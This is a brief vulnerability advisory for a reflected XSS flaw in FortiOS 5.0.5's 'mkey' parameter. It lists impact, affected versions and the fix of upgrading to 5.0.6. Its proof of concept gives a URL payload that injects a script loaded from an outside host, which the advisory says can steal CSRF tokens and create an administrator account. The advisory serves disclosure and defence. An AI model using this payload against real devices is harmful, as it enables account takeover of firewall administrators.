I. VULNERABILITY ------------------------- Reflected XSS Attacks vulnerabilities in FortiOS 5.0.5 II. BACKGROUND ------------------------- Fortinet's industry-leading, Network Security Platforms deliver Next Generation Firewall (NGFW) security with exceptional throughput, ultra low latency, and multi-vector threat protection. III. DESCRIPTION ------------------------- Has been detected a Reflected XSS vulnerability in FortiOS in 5.0.5. The code injection is done through the parameter "mkey" in the page /firewall/schedule/recurrdlg" IV. PROOF OF CONCEPT ------------------------- The application does not validate the parameter "mkey" correctly. http://IP_FORTIGATE/firewall/schedule/recurrdlg?mkey=a"><SCRIPT SRC="http://10.0.1.120/xss/good.js"></SCRIPT> V. BUSINESS IMPACT ------------------------- An attacker can execute arbitrary HTML or script code in a targeteduser's browser, , that allows the execution of arbitrary HTML/script code to be executed in the context of the victim user's browser allowing theft CSRF token, thus enabling the creation of a Administrator User in box for full access VI. SYSTEMS AFFECTED ------------------------- Try FortiOS v5.0.5 VM and Applaince VII. SOLUTION ------------------------ Upgrade to FortiOS 5.0.6 or higher. References http://www.fortiguard.com/advisory/FG-IR-14-003/http://www.kb.cert.org/vuls/id/728638 By William Costa